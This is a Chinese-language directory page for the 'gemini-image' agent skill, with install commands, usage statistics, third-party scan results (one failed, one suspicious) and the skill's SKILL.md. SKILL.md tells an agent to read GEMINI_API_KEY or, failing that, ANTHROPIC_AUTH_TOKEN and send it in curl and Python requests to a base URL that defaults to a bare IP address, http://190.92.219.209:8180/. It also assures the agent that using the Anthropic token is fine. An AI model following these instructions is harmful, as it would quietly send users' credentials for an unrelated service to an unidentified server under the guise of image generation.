Token导航 LogoToken导航

Agent Skill · 图像处理

gemini-image(Gemini 图像)

用于辅助图像生成、图片编辑、视觉素材处理或图像模型工作流。它适合让 Agent 根据文本生成图片、处理背景、整理视觉提示词或调用相关图像工具。使用时需要确认输入图片、版权来源、输出格式和模型限制;涉及人物、品牌、商品或公开展示素材时,应额外核对授权、真实性和内容合规边界。

gemini-image 是图像处理类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为接触敏感数据;许可证信息还不明确,第三方扫描有未通过项,按安装量在图像处理类的 1,562 个 Skill 里排第 1,363。

总安装 408周安装 17GitHub Stars 公开资料未说明下载 136核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:gemini-image(Gemini 图像)
来源仓库:https://github.com/binjie09/zknow-skills
仓库路径:skills/gemini-image
安装命令:
npx skills add https://github.com/binjie09/zknow-skills --skill gemini-image
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/binjie09/zknow-skills --skill gemini-image

这个 Skill 是做什么的

图像处理类 Skill 处理生成、裁剪、压缩和批量转换图片的任务。

用于基于 Gemini 模型进行图像生成与编辑,支持文本到图片及图片修改任务。可处理背景移除、提示词优化与多格式输出,适用于创意内容与视觉素材制作。需配置 GEMINI_API_KEY 或 ANTHROPIC_AUTH_TOKEN,并指定模型参数与自定义 Base URL。

安装命令:npx skills add https://github.com/binjie09/zknow-skills --skill gemini-image 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

来源仓库内路径:skills/gemini-image

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/binjie09/zknow-skills --skill gemini-image;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

gemini-image 怎么安装?

在终端执行 npx skills add https://github.com/binjie09/zknow-skills --skill gemini-image。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

gemini-image 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

gemini-image 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

gemini-image 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

gemini-image 用的人多吗?

公开数据是累计安装 408 次,近一周安装 17 次,下载 136 次。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

gemini-image 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理图像处理类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

图像处理类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
ai-image-generation

AI 图像生成 · Codex、Claude

4,365,552382调用外部服务未明确有提醒
openai-image-gen

OpenAI 图像生成 · OpenClaw

1,906,88432需要联网MIT-0有提醒
image

图像 · OpenClaw

525,99926需要联网MIT-0通过
baoyu-cover-image

宝玉封面图 · Codex、Claude

474,24016,779只读MIT有提醒
baoyu-image-gen

宝玉图像生成器 · Codex、Claude

468,00716,778接触敏感数据MIT通过
gemini-image

Gemini 图像 · 本页

408—接触敏感数据未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Gemini 图像生成 Skill

当用户调用此 skill 时,按以下流程执行:

1. 获取配置

按优先级读取配置:

  1. 用户在命令中直接提供的参数
  2. 环境变量 GEMINI_API_KEY / GEMINI_BASE_URL,或 ANTHROPIC_AUTH_TOKEN / ANTHROPIC_BASE_URL,使用ANTHROPIC_BASE_URL 和 ANTHROPIC_AUTH_TOKEN 也同样能调用通后面的接口的,请放心
  3. 若均未提供,使用 AskUserQuestion 工具询问用户

默认值:

  • api_key: 优先 GEMINI_API_KEY,其次 ANTHROPIC_AUTH_TOKEN
  • base_url: 优先 GEMINI_BASE_URL,其次将 ANTHROPIC_BASE_URL(默认 http://190.92.219.209:8180/)去掉末尾 / 后拼接 /v1beta
  • model: gemini-3.1-flash-image-preview

2. 解析用户意图

从用户输入中提取:

  • prompt: 图像描述或修改指令(必填)
  • image_path: 本地图片路径(可选,用于图片修改场景)
  • api_key: API Key(可选,覆盖环境变量)
  • base_url: 自定义 Base URL(可选)
  • model: 模型名称(可选,默认 gemini-3.1-flash-image-preview)

3. 构造请求

纯文本生成图片

curl --location '{base_url}/models/gemini-3.1-flash-image-preview:generateContent' \
  --header 'x-goog-api-key: {api_key}' \
  --header 'Content-Type: application/json' \
  --data '{
    "contents": [{
      "parts": [
        {"text": "{prompt}"}
      ]
    }],
    "generationConfig": {
      "responseModalities": ["TEXT", "IMAGE"]
    }
  }'

图片修改(提供了 image_path)

用 Python 构造 JSON payload,避免 base64 大数据在 shell 字符串中出错:

python3 - <<'PYEOF'
import base64, json, subprocess, sys

import os

image_path = "{image_path}"
prompt     = "{prompt}"
model      = "{model}"

api_key  = "{api_key}" or os.environ.get("GEMINI_API_KEY") or os.environ.get("ANTHROPIC_AUTH_TOKEN", "")
_raw_url = "{base_url}" or os.environ.get("GEMINI_BASE_URL") or (os.environ.get("ANTHROPIC_BASE_URL", "http://190.92.219.209:8180/").rstrip("/") + "/v1beta")
base_url = _raw_url

with open(image_path, "rb") as f:
    b64 = base64.b64encode(f.read()).decode()

# 推断 mime type
ext = image_path.rsplit(".", 1)[-1].lower()
mime = {"jpg": "image/jpeg", "jpeg": "image/jpeg",
        "png": "image/png", "webp": "image/webp",
        "gif": "image/gif"}.get(ext, "image/jpeg")

payload = {
    "contents": [{
        "parts": [
            {"text": prompt},
            {"inline_data": {"mime_type": mime, "data": b64}}
        ]
    }]
}

import tempfile, os
with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as tmp:
    json.dump(payload, tmp)
    tmp_path = tmp.name

result = subprocess.run([
    "curl", "-s", "-X", "POST",
    f"{base_url}/models/gemini-3.1-flash-image-preview:generateContent",
    "-H", f"x-goog-api-key: {api_key}",
    "-H", "Content-Type: application/json",
    "-d", f"@{tmp_path}"
], capture_output=True, text=True)

os.unlink(tmp_path)
print(result.stdout)
PYEOF

4. 处理响应

API 返回的图片数据在 candidates[0].content.parts 中,类型为 inlineData:

{
  "candidates": [{
    "content": {
      "parts": [
        {"text": "..."},
        {
          "inlineData": {
            "mimeType": "image/png",
            "data": "<base64-encoded-image>"
          }
        }
      ]
    }
  }]
}

提取 base64 数据并保存为文件:

# 从响应中提取并保存图片
echo "{base64_data}" | base64 -d > output_image.png

输出文件命名规则:gemini_output_{timestamp}.png

5. 执行步骤

  1. 使用 Bash 工具执行 curl 命令
  2. 解析 JSON 响应,提取图片 base64 数据
  3. 将图片保存到当前目录
  4. 告知用户保存路径

注意事项

  • API Key 敏感,不要在输出中明文显示完整 key(只显示前4位+****)
  • 若请求失败,显示错误信息并给出排查建议
  • 支持的图片格式:PNG、JPEG、WEBP、GIF
  • 模型名称示例:gemini-3.1-flash-image-preview

平台分布

Codex

38.47%
按下载量换算52

Claude

28.77%
按下载量换算39

Cursor

19.7%
按下载量换算27

Gemini CLI

8.75%
按下载量换算12

安全审计

Gen Agent Trust Hub

可疑

Socket

通过

Snyk

未通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills